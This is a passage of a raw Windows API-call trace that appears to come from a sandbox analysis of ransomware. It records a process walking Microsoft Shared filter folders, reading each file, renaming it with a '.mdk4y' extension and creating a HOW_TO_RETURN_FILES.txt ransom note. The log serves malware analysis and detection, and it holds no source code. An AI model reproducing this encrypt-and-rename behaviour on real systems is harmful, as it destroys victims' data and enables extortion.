lpMultiByteStr="msgfilt.dllefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pxsk", lpUsedDefaultChar=0x37df4c) returned 11 [0093.135] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0093.135] AreFileApisANSI () returned 1 [0093.135] GetACP () returned 0x4e4 [0093.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="odffilt.dll", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="odffilt.dll", lpUsedDefaultChar=0x37df4c) returned 11 [0093.135] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0093.135] AreFileApisANSI () returned 1 [0093.136] GetACP () returned 0x4e4 [0093.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="offfiltx.dll", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="offfiltx.dllfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pxsk", lpUsedDefaultChar=0x37df4c) returned 12 [0093.136] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0093.136] AreFileApisANSI () returned 1 [0093.136] GetACP () returned 0x4e4 [0093.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISFILT.DLL", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISFILT.DLLl", lpUsedDefaultChar=0x37df4c) returned 11 [0093.136] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0093.136] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816836600000) returned 1 [0093.137] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0093.220] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816845000000) returned 1 [0093.220] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816845000000) returned 1 [0093.279] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.mdk4y")) returned 1 [0093.280] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0093.280] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0093.280] AreFileApisANSI () returned 1 [0093.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0093.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0093.282] GetFileType (hFile=0x12c) returned 0x1 [0093.283] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0093.283] AreFileApisANSI () returned 1 [0093.283] GetACP () returned 0x4e4 [0093.283] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GRPHFLT", cchWideChar=7, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="GRPHFLT", lpUsedDefaultChar=0x37dfd8) returned 7 [0093.283] AreFileApisANSI () returned 1 [0093.283] GetACP () returned 0x4e4 [0093.283] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=55, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\hՐj\x04") returned 55 [0093.372] AreFileApisANSI () returned 1 [0093.372] GetACP () returned 0x4e4 [0093.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pxsk", lpUsedDefaultChar=0x37df4c) returned 1 [0093.372] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0093.372] AreFileApisANSI () returned 1 [0093.372] GetACP () returned 0x4e4 [0093.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pxsk", lpUsedDefaultChar=0x37df4c) returned 2 [0093.372] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0093.372] AreFileApisANSI () returned 1 [0093.372] GetACP () returned 0x4e4 [0093.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CGMIMP32.CFG", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CGMIMP32.CFGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pxsk", lpUsedDefaultChar=0x37df4c) returned 12 [0093.372] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0093.373] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816860300000) returned 1 [0093.373] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1a9b, lpOverlapped=0x0) returned 1 [0093.409] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816863900000) returned 1 [0093.409] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816863900000) returned 1 [0093.409] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.mdk4y")) returned 1 [0093.410] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0093.410] AreFileApisANSI () returned 1 [0093.410] GetACP () returned 0x4e4 [0093.410] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CGMIMP32.FLT", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CGMIMP32.FLT", lpUsedDefaultChar=0x37df4c) returned 12 [0093.410] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0093.413] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816864300000) returned 1 [0093.413] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4f160, lpOverlapped=0x0) returned 1 [0093.447] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816867700000) returned 1 [0093.447] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816867700000) returned 1 [0093.450] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.mdk4y")) returned 1 [0093.450] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0093.450] AreFileApisANSI () returned 1 [0093.450] GetACP () returned 0x4e4 [0093.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CGMIMP32.FNT", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CGMIMP32.FNT", lpUsedDefaultChar=0x37df4c) returned 12 [0093.450] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0093.451] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816868100000) returned 1 [0093.451] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x93f6e, lpOverlapped=0x0) returned 1 [0093.477] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816870700000) returned 1 [0093.477] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816870700000) returned 1 [0093.482] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.mdk4y")) returned 1 [0093.483] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0093.483] AreFileApisANSI () returned 1 [0093.483] GetACP () returned 0x4e4 [0093.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EPSIMP32.FLT", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EPSIMP32.FLT", lpUsedDefaultChar=0x37df4c) returned 12 [0093.483] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0093.483] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816871300000) returned 1 [0093.483] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xadf90, lpOverlapped=0x0) returned 1 [0093.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816875700000) returned 1 [0093.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816875700000) returned 1 [0093.533] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.mdk4y")) returned 1 [0093.534] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0093.534] AreFileApisANSI () returned 1 [0093.534] GetACP () returned 0x4e4 [0093.534] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GIFIMP32.FLT", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GIFIMP32.FLT", lpUsedDefaultChar=0x37df4c) returned 12 [0093.534] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0093.535] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816876500000) returned 1 [0093.535] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4e380, lpOverlapped=0x0) returned 1 [0093.859] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816908900000) returned 1 [0093.859] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816908900000) returned 1 [0093.862] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.mdk4y")) returned 1 [0093.863] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0093.863] AreFileApisANSI () returned 1 [0093.863] GetACP () returned 0x4e4 [0093.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JPEGIM32.FLT", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="JPEGIM32.FLT", lpUsedDefaultChar=0x37df4c) returned 12 [0093.863] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0093.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816909300000) returned 1 [0093.864] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3ad80, lpOverlapped=0x0) returned 1 [0093.981] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816921100000) returned 1 [0093.981] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816921100000) returned 1 [0093.983] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.mdk4y")) returned 1 [0093.984] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0093.984] AreFileApisANSI () returned 1 [0093.984] GetACP () returned 0x4e4 [0093.984] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MS.CGM", cchWideChar=6, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MS.CGM32.FLT", lpUsedDefaultChar=0x37df4c) returned 6 [0093.984] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0093.985] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816921500000) returned 1 [0093.985] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x774, lpOverlapped=0x0) returned 1 [0093.995] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816922500000) returned 1 [0093.995] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816922500000) returned 1 [0093.995] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.mdk4y")) returned 1 [0093.996] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0093.996] AreFileApisANSI () returned 1 [0093.996] GetACP () returned 0x4e4 [0093.996] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MS.EPS", cchWideChar=6, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MS.EPS", lpUsedDefaultChar=0x37df4c) returned 6 [0093.996] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0093.997] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816922800000) returned 1 [0093.998] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3adb, lpOverlapped=0x0) returned 1 [0094.022] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816925200000) returned 1 [0094.022] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816925200000) returned 1 [0094.023] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.mdk4y")) returned 1 [0094.023] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.023] AreFileApisANSI () returned 1 [0094.023] GetACP () returned 0x4e4 [0094.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MS.GIF", cchWideChar=6, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MS.GIF", lpUsedDefaultChar=0x37df4c) returned 6 [0094.023] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0094.023] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816925300000) returned 1 [0094.023] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x42d, lpOverlapped=0x0) returned 1 [0094.051] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816928100000) returned 1 [0094.051] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816928100000) returned 1 [0094.051] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.mdk4y")) returned 1 [0094.061] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.061] AreFileApisANSI () returned 1 [0094.061] GetACP () returned 0x4e4 [0094.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MS.JPG", cchWideChar=6, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MS.JPG", lpUsedDefaultChar=0x37df4c) returned 6 [0094.061] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0094.062] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816929200000) returned 1 [0094.062] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x425, lpOverlapped=0x0) returned 1 [0094.084] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816931400000) returned 1 [0094.084] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816931400000) returned 1 [0094.085] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.mdk4y")) returned 1 [0094.085] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.085] AreFileApisANSI () returned 1 [0094.085] GetACP () returned 0x4e4 [0094.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MS.PNG", cchWideChar=6, lpMultiByteStr=0x6aaebc, 